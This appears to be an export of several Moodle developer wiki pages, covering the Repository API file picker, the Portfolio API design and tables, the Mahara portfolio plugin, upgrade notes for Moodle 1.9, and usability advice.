There are two main cases where the repository API will be used: as part of a Moodleform to add a file and as part of the HTML editor to add a media element into some HTML). We also have to cater for the using Moodleforms without Javascript.

In all of these cases the files will be uploaded to Moodle while using the file picker dialog and stored in a temporary file area owned by the currently active user. It is only AFTER the submission of the entire Moodleform that we will know the full context, itemids to store the file properly, so at this time the file will be copied into the correct filearea.

===Case 1: As part of a Moodleform with Javascript===

1. Moodle module code calls a "filepicker" moodleform item whenever a file is required, which includes the following information to pass to the File API:

eg $mform->addElement('filepicker', 'uniqueelementid', $fullname, $data)

2. When rendering the form, Moodle will display a read-only filename field with an '''"Find file"''' button next to it. There will also be a hidden field to store a file reference later (this is what actually gets used, the filename field is just for users to see something).

3. When the add file button is pressed, the form will be "replaced" in the page by a larger resizeable area containing an AJAX file picker. (After picking the display can be closed). (There could be a user option to make this a popup window instead, if required)

4. The AJAX file picker interface will list all the active repositories as a menu, and list files in one of several formats (like Windows/Mac/Linux): Details, Names, Icons.

5. For each plugin, the AJAX interface will prompt the user to login first (if required) asking the plugin to log in behind the scenes. It'll also ask the plugin to return listing data in response to clicks and searches.

6. Finally, when the user selects a file and clicks the "Select" button, the AJAX interface will trigger a method in the plugin that will fetch the file and call the File Storage API to '''store''' the file using the '''uniqueelementid''' and the current user info. While this is happening, the interface should show some sort of progress bar (ideally) or at least a "loading file" image/sign/message.

7. After a file has finally been selected we will have a file ID which we can pass back to the original Moodle form (to the hidden field named '''uniqueelementid_formid'''). The picker can then rename the read-only filename field before it hides itself.

8. Submitting the form will trigger the mform processing for this field, which will check fields, create things in the module etc. Once this has been finally successful the developer must call an mform function to "fix" the info for each file and "move" it into the module file area:

eg $mform->store_local_file('uniqueelementid', $context, $filearename, $itemid, $filepath);

9. Cron jobs in File Storage api should automatically delete any files in the user's tempfile area that are older than 7 days or move them into a trash can in the user's file area (perhaps).

===Case 2: As part of a Moodleform without Javascript===

Steps 1-2 are the same as for the case with Javascript.

3. The add file button is a submit button for the form with a different value. When the add file button is pressed,
* the whole form will be ''submitted'' to the original location (but with a different submit button value)
* moodleforms get_data() will detect this is a "repository save" and can save the full POST info in the current session tagged with the id of the openfile element, together with the URL to return to
* moodleforms get_data() then redirects the user to a new page showing the main picker interface

4. The file picker interface will have to be a completely new and separate interface from the AJAX one. It could be a long hierarchy listing, or reload a lot.

5. Finally, when the user selects a file and submits using the "Select" button to picker.php, it will trigger a method in the plugin that will fetch the file and call the [[File_API|File API]] to store the file using the filearea and context information we already had. While this is happening, the interface can show some sort of progress bar (ideally) or at least a "loading file" image/sign/message.

6. After this, picker.php will redirect/continue back to the original form page. The form can be constructed as usual, however, when the form is rendered using display() method moodleforms should now look for relevant saved content in the session and use that to override any content in the form (and then delete the saved info in the session).

Steps 8-9 are the same as for the case with Javascript.

===Case 3: As part of a HTML editor===

The key thing here is a move away from storing any absolute URLs to files in our HTML texts. Instead we'll store relative names.

1. The moodleform for a textarea (HTML editor) will require a path to the filearea associated with this HTML. eg '''wwwroot/pluginfile.php/13/content/0/'''. This would have to be the user_draft area if the filearea doesn't exist yet eg '''wwwroot/draftfile.php/userid/tempfile/uniquelementid'''

2. All textarea content will also need to have str_replace done on it to replace @@pluginfile@@/somefilenames.jpg in the content to use this path so that it comes up right in the editor. (Note this also needs to be done on every format_text command too when showing this text.)

3. The path parameter also needs to be added to the editor configuration in the current page.

4. Editor plugins can be modified to look for these variables in the editor configuration.

5. When adding an image or other media element, the same AJAX repository picker will show up as a popup div to allow people to pick from any repository and choose files to download. The repository picker is responsible for downloading the file in real-time, storing it as a user temporary file if the filearea doesn't already exist, prefixing the supplied path to the filename and returning a URL back to the dialog text input before closing.

6. On submission, and after the HTML is stored, we might now have a new permanent filearea, so we'll need to update any associated temporary files to make sure they have the proper file area information.

==Repository plugins==

Each repository plugin is required to contain the following elements:

===class repository()===

This class implements the interface to a particular repository, for browsing, selecting and updating files. The base class (repository) is defined in /repository/lib.php, while each repository defines an inherited class (eg repository_alfresco) in /repository/repositoryname/repository.class.php

Repositories can redefine any of these methods as required (and in some instances, MUST redefine them):

====__construct($repositoryid, $contextid, $options=array())====

'''MUST''' redefine

Accept necessary parameters, and do initialization of repository.

====get_file($url)====

Given a URL, download a file from there, save the file in a temporary directory.

====get_listing($parent='/', $search='''''''')====

Given a path, and perhaps a search, get a listing of files. In the case of AJAX file picker, this function should return json format Javascript array.

====print_login()====

'''MUST''' redefine

Show the login screen, if required. In the case of AJAX file picker, this function should return json format array which defined the login form.

====print_listing====

Get a listing from get_listing, print it or return HTML code.

====print_search====

'''MUST''' redefine

Print the search form

@TODO:
Think about are we really need it?

====store_login($username, $password, $userid='''''''')====

If you do want to cache login details for various repositories, then use this method.

====cron()====

Defines operations that happen occasionally on cron.

====ajax_info()====
Return information for creating ajax request

====create()====
Create an instance

====delete()====
Delete this instance from `repository` table

====hide()====
Hide a repository instance from file picker list

====set_option()====
set options in data1-data5 fields, can be overrided

====get_option()====
get option list or a specific option from database

====has_admin_config====
If this plugin need admin settings, please refine this function to return true

====admin_config_form====
if has_admin_config return true, this function '''MUST''' redefine, it will help to build the setting form.

====get_option_names====
if has_admin_config return true, this function '''MUST''' redefine, it will return option names

====more to come====

===icon.png===

A logo that represents the repository. Ideally square but we should handle all sizes.

==See also==

* [[Repository Administration Specification]]
* [[Repository Interface for Moodle/Course/User]]
* [[Repository plugins]]
* [[Repository File Picker]]
* [[File API]]
* [[Portfolio API]]
* MDL-13766 and MDL-16543 Repository API Meta issues

[[Category:Repositories]]

[[ja:開発:リポジトリAPI]]

Portfolio API

2008-11-28T16:42:31Z

Mits: ja link

{{Moodle_2.0}}This page describes the specification for a future feature, currently being worked on for [[Roadmap|Moodle 2.0]]. This spec is STILL UNDER CONSTRUCTION.

==Overview==

The Portfolio API is a core set of interfaces that all Moodle code will/should use so that we can easily publish files to all kinds of external document repository systems.

It's important to remember that portfolios are generally treated as WRITE-ONLY. All we are doing in Moodle is grabbing stuff and pushing it out to somewhere. Management of the files and further combining/reflecting is done through the native interface provided by the portfolio system. Reading of files from a repository is handled by the [[Repository API|Repository API]].

A typical user story:

# When portfolios are enabled, every page or major piece of content in Moodle has a little "Save" button beside it.
# User clicks one of these buttons
# User is able to choose from a list of configured portfolios (this step will be skipped if there's only one).
# User may be asked to define the format of the captured content (eg pdf, IMS LD, HTML, XML ...)
# User may be asked to define some metadata to go with the captured content (some will be generated automatically).
# The content and metadata is COPIED to the external portfolio system
# User has an option to "Return to the page you left" or "Visit their portfolio".

Note this will be just as useful for teachers as for students.

The formatting possibilities will vary depending on the context of the button and the type of external portfolios. So for example, the "Save" button on the course page would allow the user to capture the whole course in IMS LD or Moodle backup format, which you would not have on a forum page.

==Architecture==

Here is how it will work:

===Plugins and libraries===

There will be one type of plugins

# Portfolio (eg Mahara/Elgg/OSP/Facebook/Download) - this will be portfolio/type/xxx

The transport layer (eg mnet/http/scp/cp/dav etc) or clients (eg box.net/flickr) will be written as libraries, to be shared by both repository and portfolio.

Then there will be different formats that plugins will support (and the part of moodle exporting content must support as well), eg IMS, moodle native, mahara native, pdf, encrypted pdf. These will have good libraries supporting them.

===Admin===

It is important to be allowed to have multiple instances of (some) plugins. The workflow for adding a new one is:

*Admin navigates to portfolio config
*Selects from the list of available portfolio plugins, and clicks 'add a new external portfolio' (some may be disabled if there is an instance already and the plugin doesn't support multiple instances)
*Configure the plugin - select which transport and content types to use if there are multiple supported and installed, urls, authentication keys, etc.
*Set permissions (maybe) - handled by roles.

This is not necessary for every type of portfolio, because many will just require the user to authenticate directly and if we do ever want to retain settings for each user we just use user preferences.

===Exporting===

*User is viewing a page that calls new portfolio_add_button(). This checks to see if there are any configured portfolio plugin instances, and also (maybe) any permissions related to portfolios, and what the user's portfolio settings are, and then displays either a single 'add to portfolio' button, or a drop down menu of the available systems with the add button.
*When this button is pressed, the user is redirected to portfolio/add.php, with some post data containing the responsible area (activity module or something like course or blog) callback file and callback arguments, as well as optionally some information about what type of content it is.
*On this page, the user is presented with a form to enter metadata about the item, and configure any options. At this point if there are multiple formats available for export (based on the intersection of what the plugin and module support), the user can select which format they want. The plugin and module can both export mform elements for this page. The user can at this point also select to send the data and wait (with a warning it might take awhile), or queue it for processing if it's larger. This is determined by the size of the content to be exported.
*When the user has submitted the form, they are displayed a summary of what they're about to export, with 'confirm' and 'cancel' buttons. Cancel cancels the request, and cleans up any temporary data, and returns the user to where they came from, while confirm goes to the next step.
*At any point, the portfolio plugin might need to take control for a step. For example, facebook or flickr might require the user to log in for the first time and confirm moodle is allowed to access their API.
*When the user has confirmed their summary, a 'portfolio_send' event will be triggered. At this point, one of two things happen.
# If the user has elected to wait, the 'instant' event is fired, and when the caller gets control again, it displays the status to the user.
# If the user has elected to queue, the delayed event is fired and the user is notified.
*The user is given the option to continue to their portfolio, or return to where they were
*When the event is handled (either through the cron or instant event), the following happens:
*The event handler is invoked. This reawakens the transfer and defers control to the caller and then the portfolio to prepare and send the package.
*When this is complete, we return control to the event handler (which, if it's an 'instant' one, will return true to the caller.

===Storage===

Obviously during this process, state is going to be lost between webserver requests and also between user input and event handling. All of the data is stored in the database, in the form of a serialized (and base64 encoded) representation of the exporter, plugin and caller objects.

Files are also going to be written during the preparation stage of the export, and these are stored in a special portfolio area using the new files api.

===Access/Permissions===
* The calling code is responsible for performing the permission checks necessary before asking to display any button, but during the export the portfolio code will call a check_permissions function on the caller object.
* I would really like to be able to make some portfolio instances available to some roles but this has fallen out of scope.

===Event API===

The portfolio code uses the event api to handle queued events and there is one entry point for this that reawakens the transfer objects and resumes the transfer. Additionally, portfolio plugins can subscribe to events like any other part of moodle.

==Technical==

===Abstract Portfolio Baseclass: portfolio_plugin_base===

Mixes providing some basic functionality by means of its own functions, with a number of abstract functions plugins must implement, and with some functions that plugins can also optionally override.

See also: [[Writing_a_Portfolio_Plugin]] for a full list of all methods you must/can/shouldn't override, as well as associated instructions for what else you need to do to create a new portfolio plugin

===Abstract Caller Baseclass : portfolio_caller_base===

Whenever somewhere in Moodle wants an 'add to portfolio' button, they must subclass this.

See also: [[Adding_a_Portfolio_Button_to_a_page]] for a full list of all methods you must/can/shouldn't override as well as the associated instructions for how to call portfolio_add_button.

===Database Tables===

The actual information about plugins that are installed is just stored in mdl_config_plugin.

Additionally, as we're configuring instances of plugins, rather than just one config set per plugin, we're not using mdl_config_plugin, but instead our own set of tables:

'''portfolio_instance:'''

{| border="1" cellpadding="2" cellspacing="0"
|-
|'''Field'''
|'''Datatype'''
|'''Comment'''
|-
|id
|integer
|sequence
|-
|plugin
|varchar(50)
|name of plugin (should match directory in portfolio/type)
|-
|name
|varchar(255)
|name of this plugin instance
|-
|visible
|smallint
|0 or 1
|}

'''portfolio_instance_config:'''

{| border="1" cellpadding="2" cellspacing="0"
|-
|'''Field'''
|'''Datatype'''
|'''Comment'''
|-
|id
|integer
|sequence
|-
|instance
|integer
|(pseudo)fk to portfolio_instance
|-
It cannot, however, be responsible for how external systems deal with this case. The different plugins can do what they can. For example, mahara will create new files rather than overwrite. The box.net plugin will try very hard to rename files to avoid collisions.
|name
|varchar(255)
|config name
|-
|value
|text
|config value
|}

'''portfolio_instance_user:'''

{| border="1" cellpadding="2" cellspacing="0"
|-
|'''Field'''
|'''Datatype'''
|'''Comment'''
|-
|id
|integer
|sequence
|-
|instance
|integer
|(pseudo)fk to portfolio_instance
|-
|userid
|integer
|(pseudo)fk to mdl_user
|-
|name
|varchar(255)
|config name
|-
|value
|text
|config value
|}

'''portfolio_log:'''

{| border="1" cellpadding="2" cellspacing="0"
|-
|'''Field'''
|'''Datatype'''
|'''Comment'''
|-
|id
|integer
|sequence
|-
|userid
|integer
|(pseudo) fk to mdl_user
|-
|time
|integer
|unix timestamp of transfer
|-
|portfolio
|integer
|(pseudo) fk to mdl_portfolio_instance
|-
|caller_class
|varchar(150)
|name of caller class (used in the case of duplicates to display information)
|-
|caller_file
|varchar(255)
|file that contains the definition of caller_class
|-
|caller_sha1
|varchar(255)
|sha1 information of export
|}

'''portfolio_tempdata'''

{| border="1" cellpadding="2" cellspacing="0"
|-
|'''Field'''
|'''Datatype'''
|'''Comment'''
|-
|id
|integer
|sequence
|-
|data
|text
|serialized representation of export data
|-
|expirytime
|integer
|time this data (and the transfer) expires (and the record (and associated files)) will be deleted
|-
|userid
|integer
|psuedo fk to mdl_user
|}

All plugins can also implement their own database tables as needed, by creating a db/install.xml and db/upgrade.php inside portfolio/type/xxx/ (See [[Writing_a_Portfolio_Plugin]]) for more information.

===Portfolio Plugins===

#[[Mahara_Portfolio_Plugin|mahara]] (will be done for the initial implementation)
#download (will be done for the initial implementation)
#box.net (will be done for the initial implementation)
#flickr (Nico has been writing this but it is incomplete)
#googledocs (I think DanP has been writing this)

transport types and formats should be able to be found in a shared location for multiple plugins of both portfolio and repository type to use, but also might be specific to one type of plugin which means that moodle should support looking in multiple locations for these plugins. (eg mahara native format would be in the mahara portfolio plugin, but pdf format will be in a shared library)

===Possible Transport Types===

# mnet (will be done for the initial implementation as part of the Mahara Portfolio Plugin)
# download (just uses send_file_* functions)
# http
# filesystem (could be local/nfs/samba whatever) (cp)
# ssh based (eg scp - should find and re-use the elgg block code as it deals with using ssh keys nicely)
# webdav
# open social? (http://code.google.com/apis/opensocial/)

===Possible Export Formats===

(Note that we don't necessarily want more than one of these for the initial implementation)

* implemented now:
# html
# image
# video
# plaintext
# 'file' (fallback)

* possibly implemented in the future
# pdf
# encrypted pdf
# ims?
# leap/piop? (http://wiki.cetis.ac.uk/LEAP_2.0)
# moodle native?
# mahara native?
# Dublin Core (Enovation implemented this)

===Testing===

At this stage, the portfoliolib and button objects have tests, and the callers have tests to check whether their sha1 generation remains consistent appropriately. This includes the implicit testing of constructing the caller objects (which verifies the callback arguments).

The plugins are not currently tested and even if they were we would not be able to test interaction with the remote system.

==MNET==

This section has moved to [[MNET_Roadmap]]

See also [[MNET_API]] for the documentation of xmlrpc functions

==Duplication of Data==

Moodle will keep track of what content it transfers and when. It keeps a sha1 has of the data, so that if the user tries to export the same content, Moodle can warn the user.

It cannot, however, be responsible for how external systems deal with this case. The different plugins can do what they can. For example, mahara will create new files rather than overwrite. The box.net plugin will try very hard to rename files to avoid collisions.

==Save points in Moodle==

moved to http://tracker.moodle.org/browse/MDL-15758 during development

==Still TODO==

There are a few things still I have not been able to complete for various reasons (generally reliance on other parts of the system, eg Files API). There are bugs for all of these, but reproduced here for completeness:

* MDL-16406 - waiting on QA (Jerome)
* MDL-16048 - waiting on QA (Nico)
* MDL-16313 - this just didn't get far enough up my list and I'm still not sure how relevant it is.
* MDL-15777 - reliance on Files API - data fields that subclass data_field_file need to be extracted and copied separately into the export area using copy_existing_file - this is essentially done but I still think picture should subclass file. More info in MDL-16493
* MDL-15777 - reliance on Files API - data module can only export as CSV even though plain export also supports ods/xls as those two libraries are not updated to the new Files API. More info in MDL-15911
* MDL-16326 - reliance on Files API - 'file' resource module has not been updated to use Files API, so exporting from this type is not yet implemented (currently HTML and plaintext only)
* MDL-16175 - (currently) unreasonable reliance on exceptions. Especially for queued events, currently if a portfolio transfer is woken up at cron to be completed and an error happens in mnet (eg one remote site is down or misconfigured), the entire cronjob will die as mnet functions call print_error, which calls die(). This essentially means cron will stay broken (for all of moodle) until that transfer expires. This is not really a bug in portfolio code, but it definitely exacerbates an already brittle situation.

===Unit Test TODO===

Currently there's quite a few tests implemented, but outstanding are tests that rely on the generator to create files for the callers. As the generator gets updated to create this data, the portfolio unit tests will start throwing exceptions in the portfolio_exporter_text->copy_existing_file method so that it will become obvious when this needs to be updated as the tests will start failing (they are currently passing)

==Current exhaustive list of export scenarios==

===mod/assignment===

====upload single file====

This is pretty straightforward. It should display the export icon next to the single file (no large form/button), and the export should respect the mime-based subtypes (_IMAGE, _VIDEO etc)

====upload multiple files====

This one is a little more complex. You should get an export icon next to individual files, and, additionally, if there is more than one, an export form at the bottom (which will export all files). Exporting multiple files will always stop mime detection and fallback to _FILE format.

====online text====

Displays the full form at the bottom of the page. Should export as format _HTML.

===mod/chat===

These should all export as format _HTML, and contain no references back to Moodle (eg user profile images, which won't be able to be seen necessarily)

====Session page====

Should export entire session.

====Report page per session====

Should export entire session.

====Report page all sessions====

Should concatenate all sessions together.

===mod/data===

====Single entry export====

Should export as HTML. Any files should be included along with the html. If there is only one field in the entry and it is a file or image, the mimetype should be respected, and the export format should be based on that (eg _IMAGE)

====Whole database instance export====

Should export as CSV. Files are not included (This is the same as the other CSV export)

===mod/forum===

====Whole discussion====

The export format is FILE, attachments come alongside discussion.html - this could be improved later to be HTML if there are no attachments.

====Single post====

The export format is _HTML.

====Single post with attachments====

The export format is FILE as it's mixed, and attachments come alongside post.html.

====Single attachment====

Mimetypes should be respected and the export format should be based on them (eg _IMAGE)

===mod/glossary===

====Single entry export====

Should export the entry as HTML.

====Whole glossary export====

Should export the glossary as CSV - similar to a current glossary export.

===mod/resource===

====HTML resource====

Should export as _HTML.

====text resource====

Should export as _TEXT.

====file resource====

Not implemented yet. Blocked by FILES API. Should respect the mimetype of the file and export in the appropriate format.

==See also==
* [[Repository API]]
* [[File API]]
* MDL-14591 - Portfolio API Meta issue

[[ja: 開発:ポートフォリオAPI]]

Mahara Portfolio Plugin

2008-11-11T02:17:32Z

Mits: ja linnk

===Initial communication between Moodle and Mahara===

After the user has chosen 'Mahara' and clicked on an export to portfolio button, the first step that gets control passed to the plugin is the steal_control function, before process_stage_config is called.

At this point, Moodle should attempt to communicate an 'intent to transfer' to Mahara, giving it the necessary information about the user. Mahara at this point should create the user account if necessary. Mahara will send back one of three things - no, queue only, or queue and immediate. This is to indicate whether the transfer can take place while the user is waiting, or whether a queued transfer will be enforced by Mahara. Mahara should insert an 'intent' entry into a database table and send Moodle back the id, which Moodle will store in a queue table.

===Config section===

Moodle is then able to present the user with the config form, giving them the options of waiting (if allowed) as well as choosing the format to send the data in (this causes problems with the ordering of things - see Questions section), and any required metadata.

===File ready ping===
Once the user has confirmed the transfer, depending on whether the user has elected to wait or not, Moodle will either initate the package and send stages, or queue the item. Essentially these are the same. During both models, Moodle just sends a 'file ready' request to Mahara. In the interactive model, it also waits for the response from Mahara to say it has succeeded.

When Mahara sends the 'file ready' request, it also sends Mahara a location to retrieve the file from via a direct HTTP GET request. This is dependent on the file API in Moodle. As part of this request, Mahara will also send the original ID it sent back to Moodle in step 1, which Moodle is able to use to verify it should send the file.

===On the Mahara side===

====New core cronjob to process the queued requests====

This will be called every 5 minutes and the function will be process_incoming_content_queue or similar.

====New MNET functions====

# portfolio/content_intent - Moodle signifies its intent to transfer content to Mahara and Mahara creates the user if necessary and returns no, queueonly or queueandwait

# portfolio/content_ready - Moodle has finished its part of the export and has prepared a file for Mahara to fetch. Depending on whether the transfer is happening interactively or not, Mahara will either queue the job for the next cron run to pick up, or initiate the transfer directly.

====New database tables====

There needs to be a table to store data between the content_intent and content_ready requests.

The table will look like this:

{| border="1" cellpadding="2" cellspacing="0"
|-
|'''Field'''
|'''Datatype'''
|'''Comment'''
|-
|id
|integer
|sequence. this is sent back to Moodle after the content_intent ping
|-
|host
|char(255)
|fk to host table
|-
|timestamp
|timestamp
|timestamp of initial content_intent ping (or maybe an expiry field instead)
|-
|userid
|integer
|fk to usr table
|-
|queue
|boolean
|whether a cronjob needs to pick this up or not
|-
|ready
|boolean
|whether moodle is ready for us to pick this up ornot
|}

====relationship between dispatcher and artefact plugins====

artefact_plugin base class will be changed to expect plugins to export a list of formats they can import from. This will be format/component (eg LEAP/entry or file/file) and maybe have a priority stored with them (or maybe the priority should be configured by the administrator) in case of multiple plugins supporting the same formats.
At import time, the handler will unpack the file and dispatch to the appropriate artefact plugin to unpack it.

====target formats====

Nigel and I (Penny) discussed a lot the idea about the user being given the option to select where in Mahara their content will end up. Eventually we decided the best thing to do is that since for this iteration we are just supporting transferring files, to put them into an 'incoming' area in their files plugin. Later, we can get the mahara plugin in Moodle to redirect to a special page in Mahara for the user to select the target(s).
We discussed making the targets be a part of the mnet protocol, but dismissed it as it's potentially too complicated to expect Moodle (even a Mahara plugin inside Moodle) to render this nicely to the user. At the point that we redirect the user to Mahara, we already have recieved a 'content_intent' ping, so we can just store this information in Mahara and use it when we unpack the content later and Moodle doesn't even have to know about it. The portfolio API's steal_control function supports this already so it will be pretty trivial to add later.

====workflow====

The more I look into this the more I think the best way to do this is:

# get the Mahara portfolio plugin to steal_control and send the user to Moodle's jump.php, with portfolio/add.php?postcontrol=1 as $wantsurl
# Jump.php in Moodle will redirect the user to Mahara's land.php, which will set up their SSO session and create their account if necessary.
# Modify Mahara's land.php to accept an extra parameter to indicate that $wantsurl is relative to Moodle's wwwroot, rather than Mahara's
# Bounce the user to $wantsurl (which is the portfolio postcontrol url)

This means that now the user is authenticated (or created) in Mahara and now we have a token to use to pass between Moodle and Mahara in the xmlrpc functions we need to call.

It does mean that we might have an SSO session where we don't actually need one.

I'm not sure how this will affect delayed communication between the two systems (eg queued transfers) as the SSO session may have expired?

===Proposed mnet changes===

This section has moved to [[MNET_Roadmap]]

===Package format===

As far as I can see there are two ways to approach the inclusion of metadata/manifest, either send it altogether in a file with a manifest (xml or txt), or send it in the content_ready xmlrpc call. Each one has its pros and cons. Either way this might be overkill now, but we do at least need a manifest to explain exactly what content we have. (And I think it's obvious we need to use a zip file)

====Manifest.xml====
The biggest obvious downside to this approach is that we need to define the format now, which is not something that we need to do really to just transfer file

====bundled in content_ready====
Having to store it in a temporary location between receiving it and unpacking the file and using it to create the artefacts

====The simple approach====

I would be tempted to do something like this manifest.txt:

md5sum:format:filename
md5sum:format:filename

where format is something like FILE or LEAP

The problem with this is that eventually when we do something like LEAP, the content itself will be in a leap.xml file and the other files will just be associated content. This could probably be handled by doing

md5sum:leap:leap.xml

At the very least, doing it like this makes it easy to send a zipfile containing multiple files (very possible for this stage: multiple files uploaded to one assignment, for example)

===Questions===

#Ideally during the export config stage, Moodle should be able to let the user choose additional things, like what folder to put the outgoing file into. However, because the user doesn't select the export format until this same stage, this isn't possible. There are two options here, either just automatically put the files into an 'coming' folder in Mahara, or add an additional step to allow the user to select the target location. (Note that this holds regardless of format - blog posts that are being transferred natively (not for this development phase but potentially later) would benefit from the user being able to specify the target in Mahara.

===See Also===

[[Portfolio_API]]

[[ja:開発:Maharaポートフォリオプラグイン]]

Upgrading to Moodle 1.9

2008-03-07T17:52:07Z

Mits: ja link

{{Moodle 1.9}}
==Before upgrading, please...==

* Check that your site meets all system requirements for 1.9 in ''Administration > Server > [[Environment]]''
* Do a full database backup!
* Remember to purge PHP cache if using any PHP accelerator
* Read [[Upgrading to Moodle 1.8]] if you are upgrading to 1.9 from 1.6 or 1.7
* Read [[Upgrading to Moodle 1.7]] if you are upgrading from 1.6

===Notes===
* If upgrading from 1.6 or later, you must have converted your site to Unicode
* If upgrading from earlier than 1.6, we recommend upgrading to 1.6 first, then 1.9
* We recommend PHP 5.2 or later, but you must have at least PHP 4.0.16

==Now Upgrade==
Now that you have satisfied the requirements for Moodle 1.9 follow the instructions on the [[Upgrading|upgrading]] page.

==See also==

*[[Release Notes]]
*[[:Category:Moodle 1.9]]
*[[Question Engine Changes in Moodle 1.9]] (includes some important documentation on question engine upgrade for those who make extensive use of the question bank and quiz module)
Using Moodle forum discussions:
*[http://moodle.org/mod/forum/discuss.php?d=75088 Automatic update of language package while updating in 1.9]
*[http://moodle.org/mod/forum/discuss.php?d=89825 Change in Moodle 1.8 and 1.9 : admin tree icons are now themeable - some themes need to be upgraded]
*[http://moodle.org/mod/forum/discuss.php?d=92027 Migration 1.8 to 1.9]

[[Category:Installation]]

[[fr:Mise à jour à Moodle 1.9]]
[[ja:Moodle1.9へのアップグレード]]

Usability

2008-02-17T21:42:37Z

Mits: ja link

Some pointers, links, and resources on the topic of Usability (with respect to Moodle).

==Contribute to Moodle through Usability testing==

An ongoing need of a project such as Moodle is to keep the interface usable as the code matures. Improvements and added functionality may seem like a wonderful innovation from the coder's or administrator's point of view, but if the end-user is confused or frustrated by it (or can't even find it!), its usefulness drop dramatically.

The idea of usability testing is simple: a person who is well-versed in Moodle gets together a small number of willing participants, who have no previous experience of using Moodle, and who are not technology experts (such as web designers etc...). The closer these people are to the "typical user" (for example a high school student), the better. The person conducting the test simply observes the participant as he/she tries to achieve a number of tasks. A video/sound recording can also be made with the prior consent of the participant, and is useful for later analysis.

The person conducting the test then pools together the issues that were common between most participants, and produces a short and concise report that is then used by Moodle developers to improve the user interface.

This sort of contribution requires no coding skills whatsoever, not even HTML. You just need to be familiar with using Moodle as a learner.

The links at the bottom of this article include Steve Krug's book, "Don't make me think!". This books is the best introduction to Usability testing I know of.

==Bike sheds==

Because changes with regard to Usability are necessarily visual and on the surface, it is a potential Bike Shed issue. This is a metaphor bandied around in Open Source circles that suggests (in brief) that the smaller the change, the greater the discussions that surround it in forums and mailing lists. People proposing small improvements to Moodle should be aware of this phenomenon and not take the level of discussion as an implicit criticism of their suggestion.

You can read a well-written account of this metaphor on the BSD mailing list here: http://a.mongers.org/clueful/1999-phk-bikeshed

==Avoid the word "intuitive"==

(Definition: [http://www.usabilityfirst.com/glossary/main.cgi?function=display_term&term_id=444 Intuitive])

Intuitive is a word you should avoid in discussions of usability as its meaning is often confused.

It is generally accepted that a large part of usability is based on familiarity and experience. Human Interface Guidelines published by people such as Apple or Gnome strive for logic and consistency so that the learning can be easier, and the experience more valuable. Using 'intuitive' as a short-hand for something that is familiar often gives the impression that if something is 'intuitive' then it is so regardless of prior learning or experience and therefore equally true for everyone. It suggests that the goodness or badness of an interface is situated within the interface itself, rather than in the relationship between the user and the interface.

Very few people would object to the statement that 'Apple software is more intuitive than Windows software' yet to someone who has only used Windows software, this is clearly not the case. Avoiding using the word yourself and mentally translating other people's use of intuitive as 'something I like' e.g. "Moodle's block system is unintuitive" = "Moodle's block system is something I don't like" may help to defuse arguments because it is harder to argue about personal opinions that are stated explicitly as personal opinion rather than disguised as objective statements about the software.

Therefore what is called intuitive, in the case of Moodle, will depend on your experience and expectations of other learning systems, web applications or sites, as well as software in general and thus varies from person to person. Usability studies should therefore average out the expectations of many people to find what is 'intuitive' and check to see if different groups (e.g. users of particular alternative systems, total beginners) have different expectations.

This article explains more and better (with diagrams!): http://www.uie.com/articles/design_intuitive/

==Learnability versus usability==

People often confuse these topics, understandbly as they do have a great deal in common. Generally what are referred to as 'usability' improvements make things both easier to learn and easier for experienced users. Occasionally decisions need to be made favouring one over the other, and in those situations it helps to be explicit which of the two you are referring to. There are many succesful software tools that sacrifice learnability so that power-users can be more efficient. It seems likely that Moodle will continue to lean towards learnability in these cases, though again 99% of the time these goals are not in conflict.

==Don't automatically suggest a new preference==

In open source projects it is often easier (in the short term) to defuse any disagreement by 'adding a preference'. This means you end up with double (or triple..) the code to achieve the same thing. That's more code to write, debug, maintain etc. And once you end up with preferences interacting the potential combinations become astronomical and you end up in the situation that no two people are actually running the same program.

This can, over time lead to a profusion of preferences, each of which has a cost that needs to be weighed against its benefit. Sometimes finding a solution that pleases everyone (to some degree) is preferable to adding preferences for each idea,

This is explained far better by Havoc Pennington in his piece on Open Source and User Interface, in particular the "Question of Preferences " section about half way through: http://www106.pair.com/rhp/free-software-ui.html

==Is Moodle a website?==

The somewhat tricky thing with regard to Moodle's usability is that Moodle is a web application, not a web site (though the line between the two is sometimes blurry) and few, if any, books have been written for that class of software. Therefore many applicable pieces of advice (from web, software or product usability guides) need to be reassessed with Moodle's nature in mind.

==External links==

* 37 Signals Blog: Signal versus Noise http://www.37signals.com/svn/
* Jabkob Neilson's website http://useit.com/
* Joel Spolsky's User Interface Design for Programmers http://www.joelonsoftware.com/uibook/chapters/fog0000000057.html
* First Principles of Interaction Design by Tog (Bruce Tognazzini) http://www.asktog.com/basics/firstPrinciples.html

==Booklist==

Web specific

* [http://www.sensible.com/ Don't Make Me Think] by Steve Krug, a really good book, full of good info yet brief, well written and accessible. A [http://www.sensible.com/chapter.html sample chapter] is made available on his site, as well as [http://www.sensible.com/secondedition/index.html 3 complete chapters] from the 1st edition in pdf format, covering a complete script for usability testing.

* [http://www.digital-web.com/articles/defensive_design_for_the_web/ Defensive Design For The Web] by [http://www.37signals.com/ 37 Signals] (Matthew Lindeman and Jason Fried).

Computer specific

* The Humane Interface by Jeff Raskin Jeff, who sadly passed away recently, has been more and more research focused for the last 15 years, since his days helping to create the first Macintosh. This led to a discarding all practical considerations to concieve of the 'perfect' UI, rather than attending to the pragmatic, checklist-style "improve your site in 15 minutes" genre. However his wrting is excellent in consistently laying the blame for problems with the computer and it's software, not the user. It is often easy to fall into the trap of thinking 'stupid' users are the problem, rather than simply a design parameter. It is however worth remembering that (unless you are a research fellow) many of these technical faults must be worked with to a certain degree, and that "perfection can often be the enemy of the good".

General

* Psychology of Everyday Things by Donald Norman (aka The Design of Everyday Things), It's a classic, so some of the examples are a bit dated, but the basic message that it is fundamentally hard for a designer (no matter how smart) to place themselves mentally in the position of a user is put across well. I think about this book's simple message every time I push a door I was supposed to pull and vice versa.
* Emotional Design: why we hate or love everyday things by Donald Norman

[[Category:Usability]]

[[ja:開発:ユーザビリティ]]

Usability

2008-02-14T15:32:13Z

Mits: fixed typo: Principals >> Principles

Outcomes

2008-01-21T19:52:18Z

Mits: ja link

Support for Outcomes (also known as Competencies, Goals, Standards or Criteria) means that we can grade things using one or more scales that are tied to outcome statements. It is intimately connected to [[Grades]] but is optional to use.

For example, an assignment might be graded according to these three scales (together known as a Rubric).

Content - Poor, Fair, Good
Organisation - Poor, Fair, Good
Grammar - Poor, Fair, Good

These are the components:

==Site vs Course outcomes==

Most outcomes are made available at the site level, which means they can be used by any activity in any course, provided the overall switch is on. This is achieved by leaving the outcome's courseid field empty (in the database).

